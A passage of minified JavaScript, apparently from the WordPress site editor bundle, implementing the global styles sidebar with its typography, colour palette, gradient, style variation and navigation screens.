(0,h._n)("%d result found.","%d results found.",e),e);l(n,e)}),[t,l]),(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Blocks"),description:(0,h.__)("Customize the appearance of specific blocks and for the whole site.")}),(0,o.createElement)(_.SearchControl,{className:"edit-site-block-types-search",onChange:n,value:t,label:(0,h.__)("Search for blocks"),placeholder:(0,h.__)("Search")}),(0,o.createElement)("div",{ref:s,className:"edit-site-block-types-item-list"},r.map((e=>(0,o.createElement)(jl,{block:e,key:"menu-itemblock-"+e.name})))))},Yl=function(e){let{name:t}=e;const n=(0,i.getBlockType)(t);return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:n.title}),(0,o.createElement)(Il,{parentMenu:"/blocks/"+t,name:t}))},Xl=function(e){let{children:t}=e;return(0,o.createElement)(_.__experimentalHeading,{className:"edit-site-global-styles-subtitle",level:2},t)};function Kl(e){let{name:t,parentMenu:n,element:l,label:a}=e;const r=!t,i="text"!==l&&l?`elements.${l}.`:"",s="link"===l?{textDecoration:"underline"}:{},[c]=Zn(i+"typography.fontFamily",t),[u]=Zn(i+"typography.fontStyle",t),[m]=Zn(i+"typography.fontWeight",t),[d]=Zn(i+"typography.letterSpacing",t),[p]=Zn(i+"color.background",t),[g]=Zn(i+"color.gradient",t),[f]=Zn(i+"color.text",t);if(!r)return null;const E=(0,h.sprintf)(// translators: %s: is a subset of Typography, e.g., 'text' or 'links'.
(0,h.__)("Typography %s styles"),a);return(0,o.createElement)(Rn,{path:n+"/typography/"+l,"aria-label":E},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(_.FlexItem,{className:"edit-site-global-styles-screen-typography__indicator",style:{fontFamily:null!=c?c:"serif",background:null!=g?g:p,color:f,fontStyle:u,fontWeight:m,letterSpacing:d,...s}},(0,h.__)("Aa")),(0,o.createElement)(_.FlexItem,null,a)))}const Zl=function(e){let{name:t}=e;const n=void 0===t?"":"/blocks/"+t;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Typography"),description:(0,h.__)("Manage the typography settings for different elements.")}),!t&&(0,o.createElement)("div",{className:"edit-site-global-styles-screen-typography"},(0,o.createElement)(_.__experimentalVStack,{spacing:3},(0,o.createElement)(Xl,null,(0,h.__)("Elements")),(0,o.createElement)(_.__experimentalItemGroup,{isBordered:!0,isSeparated:!0},(0,o.createElement)(Kl,{name:t,parentMenu:n,element:"text",label:(0,h.__)("Text")}),(0,o.createElement)(Kl,{name:t,parentMenu:n,element:"link",label:(0,h.__)("Links")}),(0,o.createElement)(Kl,{name:t,parentMenu:n,element:"heading",label:(0,h.__)("Headings")}),(0,o.createElement)(Kl,{name:t,parentMenu:n,element:"button",label:(0,h.__)("Buttons")})))),!!t&&(0,o.createElement)(Nl,{name:t,element:"text"}))};function Ql(e){let{name:t,element:n,headingLevel:l}=e,a="";"heading"===n?a=`elements.${l}.`:n&&"text"!==n&&(a=`elements.${n}.`);const[r]=Zn(a+"typography.fontFamily",t),[i]=Zn(a+"color.gradient",t),[s]=Zn(a+"color.background",t),[c]=Zn(a+"color.text",t),[u]=Zn(a+"typography.fontSize",t),[m]=Zn(a+"typography.fontStyle",t),[d]=Zn(a+"typography.fontWeight",t),[p]=Zn(a+"typography.letterSpacing",t),g="link"===n?{textDecoration:"underline"}:{};return(0,o.createElement)("div",{className:"edit-site-typography-preview",style:{fontFamily:null!=r?r:"serif",background:null!=i?i:s,color:c,fontSize:u,fontStyle:m,fontWeight:d,letterSpacing:p,...g}},"Aa")}const Jl={text:{description:(0,h.__)("Manage the fonts used on the site."),title:(0,h.__)("Text")},link:{description:(0,h.__)("Manage the fonts and typography used on the links."),title:(0,h.__)("Links")},heading:{description:(0,h.__)("Manage the fonts and typography used on headings."),title:(0,h.__)("Headings")},button:{description:(0,h.__)("Manage the fonts and typography used on buttons."),title:(0,h.__)("Buttons")}},ea=function(e){let{name:t,element:n}=e;const[l,a]=(0,o.useState)("heading");return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:Jl[n].title,description:Jl[n].description}),(0,o.createElement)(_.__experimentalSpacer,{marginX:4},(0,o.createElement)(Ql,{name:t,element:n,headingLevel:l})),"heading"===n&&(0,o.createElement)(_.__experimentalSpacer,{marginX:4,marginBottom:"1em"},(0,o.createElement)(_.__experimentalToggleGroupControl,{label:(0,h.__)("Select heading level"),hideLabelFromVision:!0,value:l,onChange:a,isBlock:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0},(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"heading"
/* translators: 'All' refers to selecting all heading levels 
    and applying the same style to h1-h6. */,label:(0,h.__)("All")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h1",label:(0,h.__)("H1")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h2",label:(0,h.__)("H2")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h3",label:(0,h.__)("H3")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h4",label:(0,h.__)("H4")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h5",label:(0,h.__)("H5")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h6",label:(0,h.__)("H6")}))),(0,o.createElement)(Nl,{name:t,element:n,headingLevel:l}))},ta=function(e){let{className:t,...n}=e;return(0,o.createElement)(_.Flex,d({className:g()("edit-site-global-styles__color-indicator-wrapper",t)},n))},na=[],la=function(e){let{name:t}=e;const[n]=Kn("color.palette.custom"),[l]=Kn("color.palette.theme"),[a]=Kn("color.palette.default"),[r]=Kn("color.defaultPalette",t),i=(0,o.useMemo)((()=>[...n||na,...l||na,...a&&r?a:na]),[n,l,a,r]),s=t?"/blocks/"+t+"/colors/palette":"/colors/palette",c=i.length>0?(0,h.sprintf)(// Translators: %d: Number of palette colors.
(0,h._n)("%d color","%d colors",i.length),i.length):(0,h.__)("Add custom colors");return(0,o.createElement)(_.__experimentalVStack,{spacing:3},(0,o.createElement)(Xl,null,(0,h.__)("Palette")),(0,o.createElement)(_.__experimentalItemGroup,{isBordered:!0,isSeparated:!0},(0,o.createElement)(Rn,{path:s,"aria-label":(0,h.__)("Color palettes")},(0,o.createElement)(_.__experimentalHStack,{direction:0===i.length?"row-reverse":"row"},(0,o.createElement)(_.__experimentalZStack,{isLayered:!1,offset:-8},i.slice(0,5).map(((e,t)=>{let{color:n}=e;return(0,o.createElement)(ta,{key:`${n}-${t}`},(0,o.createElement)(_.ColorIndicator,{colorValue:n}))}))),(0,o.createElement)(_.FlexItem,null,c)))))};function aa(e){let{name:t,parentMenu:n}=e;const l=Jn(t),a=l.includes("backgroundColor")||l.includes("background"),[r]=Zn("color.background",t),[i]=Zn("color.gradient",t);return a?(0,o.createElement)(Rn,{path:n+"/colors/background","aria-label":(0,h.__)("Colors background styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:null!=i?i:r,"data-testid":"background-color-indicator"})),(0,o.createElement)(_.FlexItem,{className:"edit-site-global-styles__color-label"},(0,h.__)("Background")))):null}function ra(e){let{name:t,parentMenu:n}=e;const l=Jn(t).includes("color"),[a]=Zn("color.text",t);return l?(0,o.createElement)(Rn,{path:n+"/colors/text","aria-label":(0,h.__)("Colors text styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:a,"data-testid":"text-color-indicator"})),(0,o.createElement)(_.FlexItem,{className:"edit-site-global-styles__color-label"},(0,h.__)("Text")))):null}function oa(e){let{name:t,parentMenu:n}=e;const l=Jn(t).includes("linkColor"),[a]=Zn("elements.link.color.text",t),[r]=Zn("elements.link.:hover.color.text",t);return l?(0,o.createElement)(Rn,{path:n+"/colors/link","aria-label":(0,h.__)("Colors link styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(_.__experimentalZStack,{isLayered:!1,offset:-8},(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:a})),(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:r}))),(0,o.createElement)(_.FlexItem,{className:"edit-site-global-styles__color-label"},(0,h.__)("Links")))):null}function ia(e){let{name:t,parentMenu:n}=e;const l=Jn(t).includes("color"),[a]=Zn("elements.heading.color.text",t),[r]=Zn("elements.heading.color.background",t);return l?(0,o.createElement)(Rn,{path:n+"/colors/heading","aria-label":(0,h.__)("Colors heading styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(_.__experimentalZStack,{isLayered:!1,offset:-8},(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:r})),(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:a}))),(0,o.createElement)(_.FlexItem,null,(0,h.__)("Headings")))):null}function sa(e){let{name:t,parentMenu:n}=e;const l=Jn(t).includes("buttonColor"),[a]=Zn("elements.button.color.text",t),[r]=Zn("elements.button.color.background",t);return l?(0,o.createElement)(Rn,{path:n+"/colors/button"},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(_.__experimentalZStack,{isLayered:!1,offset:-8},(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:r})),(0,o.createElement)(ta,{expanded:!1},(0,o.createElement)(_.ColorIndicator,{colorValue:a}))),(0,o.createElement)(_.FlexItem,{className:"edit-site-global-styles__color-label"},(0,h.__)("Buttons")))):null}const ca=function(e){let{name:t}=e;const n=void 0===t?"":"/blocks/"+t;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Colors"),description:(0,h.__)("Manage palettes and the default color of different global elements on the site.")}),(0,o.createElement)("div",{className:"edit-site-global-styles-screen-colors"},(0,o.createElement)(_.__experimentalVStack,{spacing:10},(0,o.createElement)(la,{name:t}),(0,o.createElement)(_.__experimentalVStack,{spacing:3},(0,o.createElement)(Xl,null,(0,h.__)("Elements")),(0,o.createElement)(_.__experimentalItemGroup,{isBordered:!0,isSeparated:!0},(0,o.createElement)(aa,{name:t,parentMenu:n}),(0,o.createElement)(ra,{name:t,parentMenu:n}),(0,o.createElement)(oa,{name:t,parentMenu:n}),(0,o.createElement)(ia,{name:t,parentMenu:n}),(0,o.createElement)(sa,{name:t,parentMenu:n}))))))};function ua(e){let{name:t}=e;const[n,l]=Kn("color.palette.theme",t),[a]=Kn("color.palette.theme",t,"base"),[r,i]=Kn("color.palette.default",t),[s]=Kn("color.palette.default",t,"base"),[c,u]=Kn("color.palette.custom",t),[m]=Kn("color.defaultPalette",t);return(0,o.createElement)(_.__experimentalVStack,{className:"edit-site-global-styles-color-palette-panel",spacing:10},!!n&&!!n.length&&(0,o.createElement)(_.__experimentalPaletteEdit,{canReset:n!==a,canOnlyChangeValues:!0,colors:n,onChange:l,paletteLabel:(0,h.__)("Theme")}),!!r&&!!r.length&&!!m&&(0,o.createElement)(_.__experimentalPaletteEdit,{canReset:r!==s,canOnlyChangeValues:!0,colors:r,onChange:i,paletteLabel:(0,h.__)("Default")}),(0,o.createElement)(_.__experimentalPaletteEdit,{colors:c,onChange:u,paletteLabel:(0,h.__)("Custom"),emptyMessage:(0,h.__)("Custom colors are empty! Add some colors to create your own color palette."),slugPrefix:"custom-"}))}const ma=()=>{};function da(e){let{name:t}=e;const[n,l]=Kn("color.gradients.theme",t),[a]=Kn("color.gradients.theme",t,"base"),[r,i]=Kn("color.gradients.default",t),[s]=Kn("color.gradients.default",t,"base"),[c,u]=Kn("color.gradients.custom",t),[m]=Kn("color.defaultGradients",t),[d]=Kn("color.duotone.custom")||[],[p]=Kn("color.duotone.default")||[],[g]=Kn("color.duotone.theme")||[],[f]=Kn("color.defaultDuotone"),E=[...d||[],...g||[],...p&&f?p:[]];return(0,o.createElement)(_.__experimentalVStack,{className:"edit-site-global-styles-gradient-palette-panel",spacing:10},!!n&&!!n.length&&(0,o.createElement)(_.__experimentalPaletteEdit,{canReset:n!==a,canOnlyChangeValues:!0,gradients:n,onChange:l,paletteLabel:(0,h.__)("Theme")}),!!r&&!!r.length&&!!m&&(0,o.createElement)(_.__experimentalPaletteEdit,{canReset:r!==s,canOnlyChangeValues:!0,gradients:r,onChange:i,paletteLabel:(0,h.__)("Default")}),(0,o.createElement)(_.__experimentalPaletteEdit,{gradients:c,onChange:u,paletteLabel:(0,h.__)("Custom"),emptyMessage:(0,h.__)("Custom gradients are empty! Add some gradients to create your own palette."),slugPrefix:"custom-"}),!!E&&!!E.length&&(0,o.createElement)("div",null,(0,o.createElement)(Xl,null,(0,h.__)("Duotone")),(0,o.createElement)(_.__experimentalSpacer,{margin:3}),(0,o.createElement)(_.DuotonePicker,{duotonePalette:E,disableCustomDuotone:!0,disableCustomColors:!0,clearable:!1,onChange:ma})))}const pa=function(e){let{name:t}=e;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Palette"),description:(0,h.__)("Palettes are used to provide default color options for blocks and various design tools. Here you can edit the colors with their labels.")}),(0,o.createElement)(_.TabPanel,{tabs:[{name:"solid",title:"Solid",value:"solid"},{name:"gradient",title:"Gradient",value:"gradient"}]},(e=>(0,o.createElement)(o.Fragment,null,"solid"===e.value&&(0,o.createElement)(ua,{name:t}),"gradient"===e.value&&(0,o.createElement)(da,{name:t})))))},ga=function(e){let{name:t}=e;const n=Jn(t),[l]=Kn("color.palette",t),[a]=Kn("color.gradients",t),[r]=Kn("color.custom",t),[i]=Kn("color.customGradient",t),s=el(t),c=tl(t),[u]=Kn("color.background",t),m=n.includes("backgroundColor")&&u&&(l.length>0||r),p=n.includes("background")&&(a.length>0||i),[g,_]=Zn("color.background",t),[f]=Zn("color.background",t,"user"),[E,v]=Zn("color.gradient",t),[y]=Zn("color.gradient",t,"user");if(!m&&!p)return null;let b={};m&&(b={colorValue:g,onColorChange:_},g&&(b.clearable=g===f));let w={};p&&(w={gradientValue:E,onGradientChange:v},E&&(w.clearable=E===y));const x={...b,...w};return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Background"),description:(0,h.__)("Set a background color or gradient for the whole site.")}),(0,o.createElement)(ge.__experimentalColorGradientControl,d({className:"edit-site-screen-background-color__control",colors:s,gradients:c,disableCustomColors:!r,disableCustomGradients:!i,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0},x)))},_a=function(e){let{name:t}=e;const n=Jn(t),[l]=Kn("color.palette",t),[a]=Kn("color.custom",t),[r]=Kn("color.text",t),i=el(t),s=n.includes("color")&&r&&(l.length>0||a),[c,u]=Zn("color.text",t),[m]=Zn("color.text",t,"user");return s?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Text"),description:(0,h.__)("Set the default color used for text across the site.")}),(0,o.createElement)(ge.__experimentalColorGradientControl,{className:"edit-site-screen-text-color__control",colors:i,disableCustomColors:!a,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:c,onColorChange:u,clearable:c===m})):null},ha=function(e){let{name:t}=e;const n=Jn(t),[l]=Kn("color.palette",t),[a]=Kn("color.custom",t),r=el(t),[i]=Kn("color.link",t),s=n.includes("linkColor")&&i&&(l.length>0||a),c={default:{label:(0,h.__)("Default"),value:Zn("elements.link.color.text",t)[0],handler:Zn("elements.link.color.text",t)[1],userValue:Zn("elements.link.color.text",t,"user")[0]},hover:{label:(0,h.__)("Hover"),value:Zn("elements.link.:hover.color.text",t)[0],handler:Zn("elements.link.:hover.color.text",t)[1],userValue:Zn("elements.link.:hover.color.text",t,"user")[0]}};if(!s)return null;const u=Object.entries(c).map((e=>{let[t,n]=e;return{name:t,title:n.label,className:`color-text-${t}`}}));return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Links"),description:(0,h.__)("Set the colors used for links across the site.")}),(0,o.createElement)(_.TabPanel,{tabs:u},(e=>{var t;const n=null!==(t=c[e.name])&&void 0!==t?t:null;return n?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(ge.__experimentalColorGradientControl,{className:"edit-site-screen-link-color__control",colors:r,disableCustomColors:!a,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:n.value,onColorChange:n.handler,clearable:n.value===n.userValue})):null})))},fa=function(e){let{name:t}=e;const[n,l]=(0,o.useState)("heading"),a=Jn(t),[r]=Kn("color.palette",t),[i]=Kn("color.gradients",t),[s]=Kn("color.custom",t),[c]=Kn("color.customGradient",t),[u]=Kn("color.text",t),[m]=Kn("color.background",t),p=el(t),g=tl(t),f=a.includes("color")&&u&&(r.length>0||s),E=a.includes("backgroundColor")&&m&&(r.length>0||s),v=a.includes("background")&&(i.length>0||c),[y,b]=Zn("elements."+n+".color.text",t),[w]=Zn("elements."+n+".color.text",t,"user"),[x,S]=Zn("elements."+n+".color.background",t),[k]=Zn("elements."+n+".color.background",t,"user"),[C,T]=Zn("elements."+n+".color.gradient",t),[N]=Zn("elements."+n+".color.gradient",t,"user");if(!f&&!E&&!v)return null;let I={};E&&(I={colorValue:x,onColorChange:S},x&&(I.clearable=x===k));let M={};v&&(M={gradientValue:C,onGradientChange:T},C&&(M.clearable=C===N));const P={...I,...M};return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Headings"),description:(0,h.__)("Set the default color used for headings across the site.")}),(0,o.createElement)("div",{className:"edit-site-global-styles-screen-heading-color"},(0,o.createElement)("h4",null,(0,h.__)("Select heading level")),(0,o.createElement)(_.__experimentalToggleGroupControl,{label:(0,h.__)("Select heading level"),hideLabelFromVision:!0,value:n,onChange:l,isBlock:!0},(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"heading"
/* translators: 'All' refers to selecting all heading levels 
    and applying the same style to h1-h6. */,label:(0,h.__)("All")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h1",label:(0,h.__)("H1")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h2",label:(0,h.__)("H2")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h3",label:(0,h.__)("H3")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h4",label:(0,h.__)("H4")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h5",label:(0,h.__)("H5")}),(0,o.createElement)(_.__experimentalToggleGroupControlOption,{value:"h6",label:(0,h.__)("H6")}))),f&&(0,o.createElement)("div",{className:"edit-site-global-styles-screen-heading-color"},(0,o.createElement)("h4",null,"heading"===n?(0,h.__)("Text color for all heading levels"):(0,h.sprintf)(
/* translators: %s: heading level (h1-h6) */
(0,h.__)("Text color for %s"),n.toUpperCase())),(0,o.createElement)(ge.__experimentalColorGradientControl,{className:"edit-site-screen-heading-text-color__control",colors:p,disableCustomColors:!s,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:y,onColorChange:b,clearable:y===w})),E&&(0,o.createElement)("div",{className:"edit-site-global-styles-screen-heading-color"},(0,o.createElement)("h4",null,"heading"===n?(0,h.__)("Background color for all heading levels"):(0,h.sprintf)(
/* translators: %s: heading level (h1-h6) */
(0,h.__)("Background color for %s"),n.toUpperCase())),(0,o.createElement)(ge.__experimentalColorGradientControl,d({className:"edit-site-screen-heading-background-color__control",colors:p,gradients:g,disableCustomColors:!s,disableCustomGradients:!c,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0},P))))},Ea=function(e){let{name:t}=e;const n=Jn(t),[l]=Kn("color.palette",t),[a]=Kn("color.custom",t),r=el(t),[i]=Kn("color.background",t),s=n.includes("buttonColor")&&i&&(l.length>0||a),[c,u]=Zn("elements.button.color.text",t),[m]=Zn("elements.button.color.text",t,"user"),[d,p]=Zn("elements.button.color.background",t),[g]=Zn("elements.button.color.background",t,"user");return s?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Buttons"),description:(0,h.__)("Set the default colors used for buttons across the site.")}),(0,o.createElement)("h4",{className:"edit-site-global-styles-section-title"},(0,h.__)("Text color")),(0,o.createElement)(ge.__experimentalColorGradientControl,{className:"edit-site-screen-button-color__control",colors:r,disableCustomColors:!a,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:c,onColorChange:u,clearable:c===m}),(0,o.createElement)("h4",{className:"edit-site-global-styles-section-title"},(0,h.__)("Background color")),(0,o.createElement)(ge.__experimentalColorGradientControl,{className:"edit-site-screen-button-color__control",colors:r,disableCustomColors:!a,__experimentalHasMultipleOrigins:!0,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:d,onColorChange:p,clearable:d===g})):null},va=function(e){let{name:t}=e;const n=nl(t),l=pl(t);return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{title:(0,h.__)("Layout")}),l&&(0,o.createElement)(bl,{name:t}),n&&(0,o.createElement)(sl,{name:t}))},ya=e=>e;function ba(e,t){if(Array.isArray(t))return t}function wa(e,t){return(0,pt.mergeWith)({},e,t,ba)}const xa=e=>{if(null===e||"object"!=typeof e||Array.isArray(e))return e;const t=(0,pt.pickBy)((0,pt.mapValues)(e,xa),ya);return(0,pt.isEmpty)(t)?void 0:t};function Sa(e){let{children:t}=e;const n=function(){const[e,t,n]=function(){const{globalStylesId:e,settings:t,styles:n}=(0,c.useSelect)((e=>{const t=e(u.store).__experimentalGetCurrentGlobalStylesId(),n=t?e(u.store).getEditedEntityRecord("root","globalStyles",t):void 0;return{globalStylesId:t,settings:null==n?void 0:n.settings,styles:null==n?void 0:n.styles}}),[]),{getEditedEntityRecord:l}=(0,c.useSelect)(u.store),{editEntityRecord:a}=(0,c.useDispatch)(u.store),r=(0,o.useMemo)((()=>({settings:null!=t?t:{},styles:null!=n?n:{}})),[t,n]),i=(0,o.useCallback)((t=>{var n,r;const o=l("root","globalStyles",e),i=t({styles:null!==(n=null==o?void 0:o.styles)&&void 0!==n?n:{},settings:null!==(r=null==o?void 0:o.settings)&&void 0!==r?r:{}});a("root","globalStyles",e,{styles:xa(i.styles)||{},settings:xa(i.settings)||{}})}),[e]);return[!!t||!!n,r,i]}(),[l,a]=function(){const e=(0,c.useSelect)((e=>e(u.store).__experimentalGetCurrentThemeBaseGlobalStyles()),[]);return[!!e,e]}(),r=(0,o.useMemo)((()=>a&&t?wa(a,t):{}),[t,a]);return(0,o.useMemo)((()=>({isReady:e&&l,user:t,base:a,merged:r,setUserConfig:n})),[r,t,a,n,e,l])}();return n.isReady?(0,o.createElement)(Yn.Provider,{value:n},t):null}function ka(e){let{variation:t}=e;const[n,l]=(0,o.useState)(!1),{base:a,user:r,setUserConfig:i}=(0,o.useContext)(Yn),s=(0,o.useMemo)((()=>{var e,n;return{user:{settings:null!==(e=t.settings)&&void 0!==e?e:{},styles:null!==(n=t.styles)&&void 0!==n?n:{}},base:a,merged:wa(a,t),setUserConfig:()=>{}}}),[t,a]),c=()=>{i((()=>({settings:t.settings,styles:t.styles})))},u=(0,o.useMemo)((()=>{return e=r,n=t,(0,pt.isEqual)(e.styles,n.styles)&&(0,pt.isEqual)(e.settings,n.settings);var e,n}),[r,t]);return(0,o.createElement)(Yn.Provider,{value:s},(0,o.createElement)("div",{className:g()("edit-site-global-styles-variations_item",{"is-active":u}),role:"button",onClick:c,onKeyDown:e=>{e.keyCode===Ut.ENTER&&(e.preventDefault(),c())},tabIndex:"0","aria-label":null==t?void 0:t.title,"aria-current":u,onFocus:()=>l(!0),onBlur:()=>l(!1)},(0,o.createElement)("div",{className:"edit-site-global-styles-variations_item-preview"},(0,o.createElement)($l,{label:null==t?void 0:t.title,isFocused:n}))))}const Ca=function(){const{variations:e}=(0,c.useSelect)((e=>({variations:e(u.store).__experimentalGetCurrentThemeGlobalStylesVariations()})),[]),t=(0,o.useMemo)((()=>[{title:(0,h.__)("Default"),settings:{},styles:{}},...e.map((e=>{var t,n;return{...e,settings:null!==(t=e.settings)&&void 0!==t?t:{},styles:null!==(n=e.styles)&&void 0!==n?n:{}}}))]),[e]);return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Wl,{back:"/",title:(0,h.__)("Browse styles"),description:(0,h.__)("Choose a different style combination for the theme styles")}),(0,o.createElement)(_.Card,{size:"small",isBorderless:!0},(0,o.createElement)(_.CardBody,null,(0,o.createElement)(_.__experimentalGrid,{columns:2},null==t?void 0:t.map(((e,t)=>(0,o.createElement)(ka,{key:t,variation:e})))))))};function Ta(e){let{className:t,...n}=e;return(0,o.createElement)(_.__experimentalNavigatorScreen,d({className:["edit-site-global-styles-sidebar__navigator-screen",t].filter(Boolean).join(" ")},n))}function Na(e){let{name:t}=e;const n=void 0===t?"":"/blocks/"+t;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Ta,{path:n+"/typography"},(0,o.createElement)(Zl,{name:t})),(0,o.createElement)(Ta,{path:n+"/typography/text"},(0,o.createElement)(ea,{name:t,element:"text"})),(0,o.createElement)(Ta,{path:n+"/typography/link"},(0,o.createElement)(ea,{name:t,element:"link"})),(0,o.createElement)(Ta,{path:n+"/typography/heading"},(0,o.createElement)(ea,{name:t,element:"heading"})),(0,o.createElement)(Ta,{path:n+"/typography/button"},(0,o.createElement)(ea,{name:t,element:"button"})),(0,o.createElement)(Ta,{path:n+"/colors"},(0,o.createElement)(ca,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/palette"},(0,o.createElement)(pa,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/background"},(0,o.createElement)(ga,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/text"},(0,o.createElement)(_a,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/link"},(0,o.createElement)(ha,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/heading"},(0,o.createElement)(fa,{name:t})),(0,o.createElement)(Ta,{path:n+"/colors/button"},(0,o.createElement)(Ea,{name:t})),(0,o.createElement)(Ta,{path:n+"/layout"},(0,o.createElement)(va,{name:t})))}const Ia=function(){const e=(0,i.getBlockTypes)();return(0,o.createElement)(_.__experimentalNavigatorProvider,{className:"edit-site-global-styles-sidebar__navigator-provider",initialPath:"/"},(0,o.createElement)(Ta,{path:"/"},(0,o.createElement)(Ul,null)),(0,o.createElement)(Ta,{path:"/variations"},(0,o.createElement)(Ca,null)),(0,o.createElement)(Ta,{path:"/blocks"},(0,o.createElement)(ql,null)),e.map((e=>(0,o.createElement)(Ta,{key:"menu-block-"+e.name,path:"/blocks/"+e.name},(0,o.createElement)(Yl,{name:e.name})))),(0,o.createElement)(Na,null),e.map((e=>(0,o.createElement)(Na,{key:"screens-block-"+e.name,name:e.name}))))};function Ma(){const[e,t]=(()=>{const{user:e,setUserConfig:t}=(0,o.useContext)(Yn);return[!!e&&!(0,pt.isEqual)(e,Xn),(0,o.useCallback)((()=>t((()=>Xn))),[t])]})(),{toggle:n}=(0,c.useDispatch)(k.store);return(0,o.createElement)(Bn,{className:"edit-site-global-styles-sidebar",identifier:"edit-site/global-styles",title:(0,h.__)("Styles"),icon:Vn,closeLabel:(0,h.__)("Close global styles sidebar"),panelClassName:"edit-site-global-styles-sidebar__panel",header:(0,o.createElement)(_.Flex,null,(0,o.createElement)(_.FlexBlock,null,(0,o.createElement)("strong",null,(0,h.__)("Styles"))),(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.DropdownMenu,{icon:te,label:(0,h.__)("More Global Styles Actions"),controls:[{title:(0,h.__)("Reset to defaults"),onClick:t,isDisabled:!e},{title:(0,h.__)("Welcome Guide"),onClick:()=>n("core/edit-site","welcomeGuideStyles")}]})))},(0,o.createElement)(Ia,null))}const Pa=(0,o.createElement)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(f.Path,{d:"M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"})),Ba={"core/navigation":["core/navigation-link","core/search","core/social-links","core/page-list","core/spacer","core/home-link","core/site-title","core/site-logo","core/navigation-submenu"],"core/social-links":["core/social-link"],"core/navigation-submenu":["core/navigation-link","core/navigation-submenu"],"core/navigation-link":["core/navigation-link","core/navigation-submenu"]};function Va(e){let{innerBlocks:t,id:n}=e;const{updateBlockListSettings:l}=(0,c.useDispatch)(ge.store);return(0,o.useEffect)((()=>{l("",{allowedBlocks:Ba["core/navigation"]}),t.forEach((e=>{Ba[e.name]&&l(e.clientId,{allowedBlocks:Ba[e.name]})}))}),[l,t]),(0,o.createElement)(ge.__experimentalListView,{id:n})}const za=[{per_page:-1,status:"publish"}];function Aa(){var 